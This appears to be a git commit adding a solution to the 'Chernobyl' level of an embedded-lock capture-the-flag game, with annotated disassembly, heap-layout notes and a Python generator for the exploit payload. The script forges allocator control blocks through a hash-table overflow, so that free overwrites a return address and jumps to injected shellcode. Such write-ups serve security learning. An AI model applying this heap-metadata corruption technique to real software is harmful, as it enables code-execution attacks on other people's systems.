Solve Chernobyl
This commit is contained in:
parent
23dc19fa30
commit
f9659caaf7
@ -706,3 +706,7 @@ And this solves the Lagos challenge as expected.
|
|||||||
|
|
||||||
## Chernobyl
|
## Chernobyl
|
||||||
|
|
||||||
|
The solution and explanation for Chernobyl is located in `chernobyl/utils.py`.
|
||||||
|
|
||||||
|
Run `python chernobyl/utils.py` to get the shellcode.
|
||||||
|
|
||||||
|
51
chernobyl/free.c
Normal file
51
chernobyl/free.c
Normal file
@ -0,0 +1,51 @@
|
|||||||
|
// The free disassembly translated to C so that my poor brain understands what's going on.
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
typedef struct MemoryBlock
|
||||||
|
{
|
||||||
|
struct MemoryBlock *prev;
|
||||||
|
struct MemoryBlock *next;
|
||||||
|
uint32_t status;
|
||||||
|
} MemoryBlock_t;
|
||||||
|
|
||||||
|
int free_list(uint32_t memory_block_addr)
|
||||||
|
{
|
||||||
|
MemoryBlock_t *current_block = (MemoryBlock_t*) (memory_block_addr - sizeof(MemoryBlock_t));
|
||||||
|
uint32_t current_block_status = current_block->status;
|
||||||
|
current_block_status &= 0xfffe; // clear alloc flag
|
||||||
|
current_block->status = current_block_status;
|
||||||
|
|
||||||
|
MemoryBlock_t *prev_block = current_block->prev;
|
||||||
|
uint32_t prev_block_status = prev_block->status;
|
||||||
|
|
||||||
|
if ((prev_block_status & 0x1) == 0) // prev block is free
|
||||||
|
{
|
||||||
|
prev_block_status += 6;
|
||||||
|
prev_block_status += current_block_status;
|
||||||
|
prev_block->status = prev_block_status;
|
||||||
|
prev_block->next = current_block->next;
|
||||||
|
|
||||||
|
MemoryBlock_t *next_block = current_block->next;
|
||||||
|
next_block->prev = prev_block;
|
||||||
|
current_block = current_block->prev;
|
||||||
|
}
|
||||||
|
|
||||||
|
MemoryBlock_t *next_block = current_block->next;
|
||||||
|
uint32_t next_block_status = next_block->status;
|
||||||
|
if ((next_block_status & 0x1) == 0) // next block is free
|
||||||
|
{
|
||||||
|
next_block_status += current_block->status;
|
||||||
|
next_block_status += 6;
|
||||||
|
current_block->status = next_block_status;
|
||||||
|
current_block->next = next_block->next;
|
||||||
|
next_block->prev = current_block;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
free_list(0); // not actually meant to be run; just check if it compiles
|
||||||
|
return 0;
|
||||||
|
}
|
@ -284,25 +284,25 @@
|
|||||||
4716: clr r15
|
4716: clr r15
|
||||||
4718: pop r11
|
4718: pop r11
|
||||||
471a: ret
|
471a: ret
|
||||||
471c <free>
|
471c <free> ; r15_pMemoryBlock; (offsetPrev=0x0, offsetNext=0x2, offsetStatus=0x4, cbSize=6)
|
||||||
471c: push r11
|
471c: push r11 ; save r11
|
||||||
471e: add #0xfffa, r15
|
471e: add #0xfffa, r15 ; r15_pControlBlock = (pMemoryBlock - cbSize))
|
||||||
4722: mov 0x4(r15), r13
|
4722: mov 0x4(r15), r13 ; r13_ControlBlockStatus = *(r15_pControlBlock + offsetStatus)
|
||||||
4726: and #0xfffe, r13
|
4726: and #0xfffe, r13 ; r13_ControlBlockStatus clear [alloc] flag
|
||||||
472a: mov r13, 0x4(r15)
|
472a: mov r13, 0x4(r15) ; write status back with cleared alloc flag
|
||||||
472e: mov @r15, r14
|
472e: mov @r15, r14 ; r14_pControlBlockPrev = *(r15_pControlBlock + offsetPrev)
|
||||||
4730: mov 0x4(r14), r12
|
4730: mov 0x4(r14), r12 ; r12_PrevControlBlockStatus = *(r14_pControlBlockPrev + offsetStatus)
|
||||||
4734: bit #0x1, r12
|
4734: bit #0x1, r12 ; check if prev block is [alloc]
|
||||||
4736: jnz $4752
|
4736: jnz $4752 ; jump if prevControlBlock is [alloc] else if [free] continue
|
||||||
4738: add #0x6, r12
|
4738: add #0x6, r12 ; r12_PrevControlBlockStatus += cbSize
|
||||||
473c: add r13, r12
|
473c: add r13, r12 ; r12_PrevControlBlockStatus += r13_ControlBlockStatus
|
||||||
473e: mov r12, 0x4(r14)
|
473e: mov r12, 0x4(r14) ; *(r14_pControlBlockPrev + offsetStatus) = r12_PrevControlBlockStatus
|
||||||
4742: mov 0x2(r15), 0x2(r14)
|
4742: mov 0x2(r15), 0x2(r14) ; *(r14_pControlBlockPrev + offsetNext) = *(r15_pControlBlock + offsetNext)
|
||||||
4748: mov 0x2(r15), r13
|
4748: mov 0x2(r15), r13 ; r13_pControlBlockNext = *(r15_pControlBlock + offsetNext)
|
||||||
474c: mov r14, 0x0(r13)
|
474c: mov r14, 0x0(r13) ; (*r13_pControlBlockNext + offsetPrev) = r14_pControlBlockPrev
|
||||||
4750: mov @r15, r15
|
4750: mov @r15, r15 ; r15_pControlBlock = *(r15_pControlBlock + offsetPrev)
|
||||||
4752: mov 0x2(r15), r14
|
4752: mov 0x2(r15), r14 ; r14_pNextBlock
|
||||||
4756: mov 0x4(r14), r13
|
4756: mov 0x4(r14), r13 ; r14_NextBlockStatus
|
||||||
475a: bit #0x1, r13
|
475a: bit #0x1, r13
|
||||||
475c: jnz $4774
|
475c: jnz $4774
|
||||||
475e: add 0x4(r15), r13
|
475e: add 0x4(r15), r13
|
@ -1,21 +0,0 @@
|
|||||||
You can add multiple commands by delimiting with ; and without a space after:
|
|
||||||
|
|
||||||
new ibio 1337;new xnjc 1337;new folm 1337;
|
|
||||||
|
|
||||||
Command to print tree:
|
|
||||||
|
|
||||||
#define walk pc=45ba; r15=5000; b 465c; continue
|
|
||||||
|
|
||||||
Q and A:
|
|
||||||
|
|
||||||
1: Figure out what 3 and 5 parameters are for.
|
|
||||||
|
|
||||||
- The 5 stands for the entries per sub-table.
|
|
||||||
- The 3 stands for the log2 number of sub-tables
|
|
||||||
|
|
||||||
2: Find out what rehash trigger depends on.
|
|
||||||
|
|
||||||
Rehash is triggered when a sub table is full (when I use aaaa, bbbb, cccc as
|
|
||||||
usernames these result in the same hash and fill up the table).
|
|
||||||
|
|
||||||
3:
|
|
119
chernobyl/notes.md
Normal file
119
chernobyl/notes.md
Normal file
@ -0,0 +1,119 @@
|
|||||||
|
# You can add multiple commands by delimiting with ; and without a space after:
|
||||||
|
|
||||||
|
new ibio 1337;new xnjc 1337;new folm 1337;
|
||||||
|
|
||||||
|
# Command to print tree:
|
||||||
|
|
||||||
|
#define walk pc=45ba; r15=5000; b 465c; continue
|
||||||
|
|
||||||
|
# Set Breakpoints at hash and rehash:
|
||||||
|
|
||||||
|
reset; b 4866; b 4870; b 490a
|
||||||
|
|
||||||
|
# Q and A:
|
||||||
|
|
||||||
|
1: Figure out what 3 and 5 parameters are for.
|
||||||
|
|
||||||
|
- The 5 stands for the entries per sub-table.
|
||||||
|
- The 3 stands for the log2 number of sub-tables
|
||||||
|
|
||||||
|
2: Find out what rehash trigger depends on.
|
||||||
|
|
||||||
|
Rehash is triggered when a sub table is full (when I use aaaa, bbbb, cccc as
|
||||||
|
usernames these result in the same hash and fill up the table).
|
||||||
|
|
||||||
|
# Tree Structure Interpretation
|
||||||
|
|
||||||
|
```
|
||||||
|
@5000 [alloc] [p 5000] [n 5010] [s 000a]
|
||||||
|
{5006} [ 0005 ; current entries
|
||||||
|
0003 ; heap size log2, i.e. for 3 there are 8 tables, for 4 there are 16 tables and so on
|
||||||
|
0005 ; max entries per table
|
||||||
|
5016 ; pointer to array of row pointers
|
||||||
|
502c ; pointer to array of curren entries for that table
|
||||||
|
]
|
||||||
|
@5010 [alloc] [p 5000] [n 5026] [s 0010]
|
||||||
|
{5016} [ 5042 50a2 5102 5162 51c2 5222 5282 52e2 ] ; addess of each row
|
||||||
|
@5026 [alloc] [p 5010] [n 503c] [s 0010]
|
||||||
|
{502c} [ 0005 0000 0000 0000 0000 0000 0000 0000 ] ; current entries for that row
|
||||||
|
@503c [alloc] [p 5026] [n 509c] [s 005a]
|
||||||
|
{5042} [ 6161 6161 0000 0000 0000 0000 0000 0000 0539 6262 6262 0000 0000 0000 0000 0000 0000 0539 6363 6363 0000 0000 0000 0000 0000 0000 0539 6464 6464 0000 0000 0000 0000 0000 0000 0539 6565 6565 0000 0000 0000 0000 0000 0000 0539 ]
|
||||||
|
@509c [alloc] [p 503c] [n 50fc] [s 005a]
|
||||||
|
{50a2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
||||||
|
@50fc [alloc] [p 509c] [n 515c] [s 005a]
|
||||||
|
{5102} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
||||||
|
@515c [alloc] [p 50fc] [n 51bc] [s 005a]
|
||||||
|
{5162} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
||||||
|
@51bc [alloc] [p 515c] [n 521c] [s 005a]
|
||||||
|
{51c2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
||||||
|
@521c [alloc] [p 51bc] [n 527c] [s 005a]
|
||||||
|
{5222} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
||||||
|
@527c [alloc] [p 521c] [n 52dc] [s 005a]
|
||||||
|
{5282} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
||||||
|
@52dc [alloc] [p 527c] [n 533c] [s 005a]
|
||||||
|
{52e2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
||||||
|
@533c [freed] [p 52dc] [n 5000] [s 7cbe]
|
||||||
|
```
|
||||||
|
|
||||||
|
# Random Thoughts
|
||||||
|
|
||||||
|
The application has a user authentication mechanism where you can add user
|
||||||
|
names together with a pin to a hash table. Then, when accessing an acount it is
|
||||||
|
looked up in the table. The funny thing is that even if access is granted
|
||||||
|
nothing happens, so that means there has to be some way to exploit the
|
||||||
|
application.
|
||||||
|
|
||||||
|
What I have found out is that there is a walk function that shows the current
|
||||||
|
dynamic memory allocation. The hash table has a control field with the current
|
||||||
|
fill status, pointers to data rows and to the fill status of each data row.
|
||||||
|
|
||||||
|
There is one vulnerability where the dynamic memory allocation block can be
|
||||||
|
overriden by writing more than five entries into the same hash table row. My
|
||||||
|
first idea was to use that to pretend that there is free memory in the stack
|
||||||
|
section, but the malloc function has a check that the following address is
|
||||||
|
higher than the current one, so that didn't work.
|
||||||
|
|
||||||
|
At that point, I had not other ideas. If we think backwards from how a solution
|
||||||
|
could look like, we get the following:
|
||||||
|
|
||||||
|
- Put shell code that opens the door somewhere. This is trivial because there
|
||||||
|
aren't any input constraints except (no null bytes).
|
||||||
|
- Manipulate a return address on the stack to jump to our inserted shell code.
|
||||||
|
- We could do that my malloc memory in the stack area and then use the input
|
||||||
|
feature to override the return address. (This does not work because malloc
|
||||||
|
checks the address of the next block and it has to be higher than the
|
||||||
|
previous block.)
|
||||||
|
|
||||||
|
What can we assume:
|
||||||
|
|
||||||
|
- Since we are able to override the memory allocation controll block, it seems
|
||||||
|
reasonable that that's where the vulnerability is. We have `walk`, `malloc`,
|
||||||
|
`free` as potential attack vectors. Actually, walk not because it's not
|
||||||
|
called.
|
||||||
|
- We have already poked at `malloc` a little, so let's check out free.
|
||||||
|
|
||||||
|
After trying to understand free, I can say that I don't fully understand it
|
||||||
|
yet, but it definitely looks like things aren't properly check as they are in
|
||||||
|
Malloc. I think I can use it to write to an arbitrary address.
|
||||||
|
|
||||||
|
Okay, I've found out that by overriding the prev value I can point it into the
|
||||||
|
stack region. Specifically, it seems like `3dcc` is the right address. I can
|
||||||
|
then override next value with the address of my shell code. For now, I will
|
||||||
|
just use `8080`.
|
||||||
|
|
||||||
|
I found out that overriding the next address doesn't work, because malloc has a
|
||||||
|
check that the address keep incrementing, so I cannot maniuplate next address.
|
||||||
|
It's the same issue as mentioned above. However, I can manipulate prev address.
|
||||||
|
|
||||||
|
By combining prev address with status, I should be able to manipulate the
|
||||||
|
return address.
|
||||||
|
|
||||||
|
However, I ran into one more issue. When freeing, the free function checks the
|
||||||
|
next memory block and if it is free merges it with the current one which
|
||||||
|
overrides the prev manipulation. That means we have to override the next
|
||||||
|
pointer of the first block, and the prev pointer of the second block. We then
|
||||||
|
have to maniuplate `status` so that the resulting return address ends up being
|
||||||
|
at a location we like. Cool.
|
||||||
|
|
||||||
|
That's how I ended up with the solution with `gen_first_override_block`
|
||||||
|
`gen_second_override_block`. That was fun.
|
@ -1,37 +0,0 @@
|
|||||||
|
|
||||||
The following is a hash tree with the root address at 0x5006.
|
|
||||||
|
|
||||||
@5000 [alloc] [p 5000] [n 5010] [s 000a]
|
|
||||||
{5006} [ 0005 ; current entries
|
|
||||||
0003 ; heap size log2, i.e. for 3 there are 8 tables, for 4 there are 16 tables and so on
|
|
||||||
0005 ; max entries per table
|
|
||||||
5016 ; pointer to array of tables
|
|
||||||
502c ; pointer to array of curren entries for that table
|
|
||||||
]
|
|
||||||
@5010 [alloc] [p 5000] [n 5026] [s 0010]
|
|
||||||
{5016} [ 5042 50a2 5102 5162 51c2 5222 5282 52e2 ]
|
|
||||||
@5026 [alloc] [p 5010] [n 503c] [s 0010]
|
|
||||||
{502c} [ 0005 0000 0000 0000 0000 0000 0000 0000 ]
|
|
||||||
@503c [alloc] [p 5026] [n 509c] [s 005a]
|
|
||||||
{5042} [ 6161 6161 0000 0000 0000 0000 0000 0000 0539 6262 6262 0000 0000 0000 0000 0000 0000 0539 6363 6363 0000 0000 0000 0000 0000 0000 0539 6464 6464 0000 0000 0000 0000 0000 0000 0539 6565 6565 0000 0000 0000 0000 0000 0000 0539 ]
|
|
||||||
@509c [alloc] [p 503c] [n 50fc] [s 005a]
|
|
||||||
{50a2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
|
||||||
@50fc [alloc] [p 509c] [n 515c] [s 005a]
|
|
||||||
{5102} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
|
||||||
@515c [alloc] [p 50fc] [n 51bc] [s 005a]
|
|
||||||
{5162} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
|
||||||
@51bc [alloc] [p 515c] [n 521c] [s 005a]
|
|
||||||
{51c2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
|
||||||
@521c [alloc] [p 51bc] [n 527c] [s 005a]
|
|
||||||
{5222} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
|
||||||
@527c [alloc] [p 521c] [n 52dc] [s 005a]
|
|
||||||
{5282} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
|
||||||
@52dc [alloc] [p 527c] [n 533c] [s 005a]
|
|
||||||
{52e2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
|
|
||||||
@533c [freed] [p 52dc] [n 5000] [s 7cbe]
|
|
||||||
|
|
||||||
new
|
|
||||||
\
|
|
||||||
------ ----
|
|
||||||
6e6577203c5044407cf920313333373b
|
|
||||||
------------
|
|
@ -2,7 +2,23 @@ import random
|
|||||||
import string
|
import string
|
||||||
|
|
||||||
|
|
||||||
|
def decode_malloc_status(word: str):
|
||||||
|
""" Decode a status word into the size and allocation value. """
|
||||||
|
assert(len(word) == 4)
|
||||||
|
i = int(word[2:4] + word[0:2], 16)
|
||||||
|
s = ''
|
||||||
|
if i & 1:
|
||||||
|
s += '[alloc] '
|
||||||
|
else:
|
||||||
|
s += '[free] '
|
||||||
|
|
||||||
|
i = (i >> 1)
|
||||||
|
s += f'[size {i:04x}]'
|
||||||
|
print(s)
|
||||||
|
|
||||||
|
|
||||||
def hash_user(user: str) -> str:
|
def hash_user(user: str) -> str:
|
||||||
|
""" Takes a user string and runs it throug the hash function. """
|
||||||
r15 = 0
|
r15 = 0
|
||||||
for i in range(len(user)):
|
for i in range(len(user)):
|
||||||
r13 = ord(user[i])
|
r13 = ord(user[i])
|
||||||
@ -18,12 +34,15 @@ def hash_user(user: str) -> str:
|
|||||||
|
|
||||||
|
|
||||||
def user_to_hash_table_index(user: str) -> str:
|
def user_to_hash_table_index(user: str) -> str:
|
||||||
|
""" Takes a user string, hashes it and computes the table offset. """
|
||||||
hash = int(hash_user(user), 16)
|
hash = int(hash_user(user), 16)
|
||||||
hash &= 0x07
|
# hash &= 0x7 # 3 for initial hash table state
|
||||||
|
hash &= 0xf # 4 after one rehash (rehash increases the table size)
|
||||||
return f"{hash:0{4}x}"
|
return f"{hash:0{4}x}"
|
||||||
|
|
||||||
|
|
||||||
def hash_pin(pin: str) -> str:
|
def hash_pin(pin: str) -> str:
|
||||||
|
""" Function to hash a pin. Turns out this is not needed. """
|
||||||
r10 = 0
|
r10 = 0
|
||||||
r12 = r10
|
r12 = r10
|
||||||
for i in range(len(pin)):
|
for i in range(len(pin)):
|
||||||
@ -40,9 +59,14 @@ def hash_pin(pin: str) -> str:
|
|||||||
|
|
||||||
|
|
||||||
def find_users_that_hash(number_users: int, hash_index: int):
|
def find_users_that_hash(number_users: int, hash_index: int):
|
||||||
|
""" Generates a number of random users that hash to the provided index.
|
||||||
|
|
||||||
|
Note: The hash index is only valid for a specific hash table size (3 or 4).
|
||||||
|
See user_to_hash_table_index to change that value.
|
||||||
|
"""
|
||||||
strings = []
|
strings = []
|
||||||
while len(strings) < number_users:
|
while len(strings) < number_users:
|
||||||
user = generate_random_string(4)
|
user = generate_random_string(3)
|
||||||
index = user_to_hash_table_index(user)
|
index = user_to_hash_table_index(user)
|
||||||
if index == f"000{hash_index}":
|
if index == f"000{hash_index}":
|
||||||
s = f"new {user} 1337;"
|
s = f"new {user} 1337;"
|
||||||
@ -52,34 +76,127 @@ def find_users_that_hash(number_users: int, hash_index: int):
|
|||||||
|
|
||||||
|
|
||||||
def transform_ascii_to_bytes(input_str: str) -> str:
|
def transform_ascii_to_bytes(input_str: str) -> str:
|
||||||
bytes_array = bytes(input_str, 'utf-8')
|
""" Transform '123' into '313233'. """
|
||||||
return bytes_array.hex()
|
return "".join([f'{ord(c):02x}' for c in input_str])
|
||||||
|
|
||||||
|
|
||||||
|
def transform_bytes_to_ascii(input_str: str) -> str:
|
||||||
|
""" Transform '313233' into '123'. """
|
||||||
|
r = ""
|
||||||
|
for i in range(0, len(input_str), 2):
|
||||||
|
s = input_str[i:i + 2]
|
||||||
|
r += chr(int(s, 16))
|
||||||
|
return r
|
||||||
|
|
||||||
|
|
||||||
def generate_random_string(n: int) -> str:
|
def generate_random_string(n: int) -> str:
|
||||||
|
""" Generate a random string with n lowercase letters. """
|
||||||
letters = string.ascii_lowercase
|
letters = string.ascii_lowercase
|
||||||
return ''.join(random.choice(letters) for _ in range(n))
|
return ''.join(random.choice(letters) for _ in range(n))
|
||||||
|
|
||||||
|
|
||||||
def create_random_users():
|
|
||||||
print(";".join(["new " + generate_random_string(4) + " 1337" for _ in 'abcdefghijklmn']))
|
|
||||||
|
|
||||||
|
|
||||||
def create_deterministic_users():
|
def create_deterministic_users():
|
||||||
print(";".join(["new " + 4 * c + " 1337" for c in 'abcdefghijklmn']))
|
""" Create users deterministically to poke around. """
|
||||||
|
print(";".join(["new " + 8 * c + " 1337" for c in 'abcdefghijklmn']))
|
||||||
|
|
||||||
|
|
||||||
def generate_shell_code() -> str:
|
def append_for_specific_hash(user: str, hash_index: int) -> str:
|
||||||
# new
|
"""
|
||||||
# \
|
This takes a certain user string and then appends a random string to put
|
||||||
# ------ ----
|
the result into the hash table entry indicated by `hash_index`. This is
|
||||||
# ------------
|
useful to allocate a payload at a specific offset.
|
||||||
return "6e6577203c5044407cf920313333373b"
|
"""
|
||||||
|
for _ in range(50):
|
||||||
|
potential_user = str(user) + generate_random_string(2)
|
||||||
|
index = user_to_hash_table_index(potential_user)
|
||||||
|
if index == f"000{hash_index}":
|
||||||
|
return potential_user
|
||||||
|
return f"XXX COULD NOT HASH {user} to {hash_index}! XXX"
|
||||||
|
|
||||||
|
|
||||||
|
def gen_first_override_block() -> str:
|
||||||
|
"""
|
||||||
|
Once the 0 table is filled up, we use this block to override the allocation
|
||||||
|
table. The main purpose is to set next to a block that is **not** the second
|
||||||
|
block. That is necessary because otherwise `free` would destroy our second
|
||||||
|
block via the reference here. I just found the values out "empirically".
|
||||||
|
"""
|
||||||
|
s = "6e657720" # "new "
|
||||||
|
prev = "8853" # prev
|
||||||
|
next = "a854" # next
|
||||||
|
status = "b510" # status
|
||||||
|
user = transform_bytes_to_ascii(prev + next + status)
|
||||||
|
user_with_postfix = append_for_specific_hash(user, 0) # allocate at index 0
|
||||||
|
s += transform_ascii_to_bytes(user_with_postfix)
|
||||||
|
s += "20313333373b" # " 1337;"
|
||||||
|
return s
|
||||||
|
|
||||||
|
|
||||||
|
def gen_second_override_block() -> str:
|
||||||
|
"""
|
||||||
|
This block contains one of the key insights. By setting prev to 0x3dca
|
||||||
|
which is allocated on the stack, we can make free write into the stack via
|
||||||
|
`status` (which is at 0x3dca + 4). By choosing status we can override the
|
||||||
|
return address from the `free` call to jump to our inserted shell code on
|
||||||
|
the heap.
|
||||||
|
"""
|
||||||
|
s = "6e657720" # "new "
|
||||||
|
prev = "ca3d" # prev (address on stack where we override return address)
|
||||||
|
next = "0855" # next
|
||||||
|
status = "c70b" # value that has to be added to return address to reach code injection address
|
||||||
|
# r12 at address where we can maniuplate it to return value: 49a8
|
||||||
|
# r12 will be written into 3dca + 4 which <free> uses as the return address
|
||||||
|
# Target address: 556e
|
||||||
|
# Required status value: 556e - 49a8 = bc6 -> c60b --[with alloc bit] -> c70b
|
||||||
|
user = transform_bytes_to_ascii(prev + next + status)
|
||||||
|
user_with_postfix = append_for_specific_hash(user, 1) # allocate at index 1
|
||||||
|
s += transform_ascii_to_bytes(user_with_postfix)
|
||||||
|
s += "20313333373b" # " 1337;"
|
||||||
|
return s
|
||||||
|
|
||||||
|
|
||||||
|
def gen_shellcode() -> str:
|
||||||
|
"""
|
||||||
|
This function generates the payload. We cannot push 0x007f directly
|
||||||
|
(because of the null byte), so instead, we add a longer value to r5 which
|
||||||
|
results in 0x7f and then push r5 before calling <INT>.
|
||||||
|
"""
|
||||||
|
s = "6e657720" # "new "
|
||||||
|
# This shell code is expected to be located at 556e
|
||||||
|
shellcode = "35503dad" # add #0xad3d, r5 ; will give us 0x7f in r5 (I just took whatever value was in r5 here)
|
||||||
|
shellcode += "0512" # push r5
|
||||||
|
shellcode += "b012ec4c" # call <INT> ; boom :)
|
||||||
|
user = transform_bytes_to_ascii(shellcode)
|
||||||
|
user_with_postfix = append_for_specific_hash(user, 5) # allocate at index 5 which matches address 556e
|
||||||
|
s += transform_ascii_to_bytes(user_with_postfix)
|
||||||
|
s += "20313333373b" # " 1337;"
|
||||||
|
return s
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
# create_deterministic_users()
|
||||||
|
# decode_malloc_status("1337")
|
||||||
|
|
||||||
|
print("Hex payload to open lock:")
|
||||||
|
random.seed(1) # easier debugging
|
||||||
|
s = transform_ascii_to_bytes(find_users_that_hash(5, 0)) # fill up index 0
|
||||||
|
s += transform_ascii_to_bytes(find_users_that_hash(5, 1)) # fill up index 1
|
||||||
|
s += transform_ascii_to_bytes(find_users_that_hash(5, 2)) # fill up index 2 (triggers rehash)
|
||||||
|
|
||||||
|
# After the rehash 0, 1, 2 are still at the same locations because we use
|
||||||
|
# 0xf in user_to_hash_table_index.
|
||||||
|
|
||||||
|
s += gen_first_override_block() # append override block at index 0 (overriding malloc control block)
|
||||||
|
s += gen_second_override_block() # append override block at index 1 (overriding malloc control block)
|
||||||
|
s += gen_shellcode() # insert shell code at index 2
|
||||||
|
s += transform_ascii_to_bytes(find_users_that_hash(5, 3)) # trigger rehash by filling up index 3
|
||||||
|
|
||||||
|
# The second rehash will free the manipulated override block inserted via
|
||||||
|
# gen_second_override_block. When returning from free we jump the shellcode
|
||||||
|
# and open the lock. Note that gen_first_override_block is required so that
|
||||||
|
# free running on the first memory block doesn't override the second block.
|
||||||
|
print(s)
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
s = transform_ascii_to_bytes(find_users_that_hash(5, 3))
|
main()
|
||||||
s += generate_shell_code()
|
|
||||||
s += transform_ascii_to_bytes(find_users_that_hash(7, 3))
|
|
||||||
print(s)
|
|
||||||
# create_deterministic_users()
|
|
||||||
|
|
||||||
|
@ -46,6 +46,8 @@ def replace_relative_addresses(file_name: str) -> None:
|
|||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
# Takes the copy and based assembly code from the web interface and
|
||||||
|
# replaces the relative address with absolute ones for easier navigation.
|
||||||
file_name = sys.argv[1]
|
file_name = sys.argv[1]
|
||||||
replace_relative_addresses(file_name)
|
replace_relative_addresses(file_name)
|
||||||
|
|
Loading…
Reference in New Issue
Block a user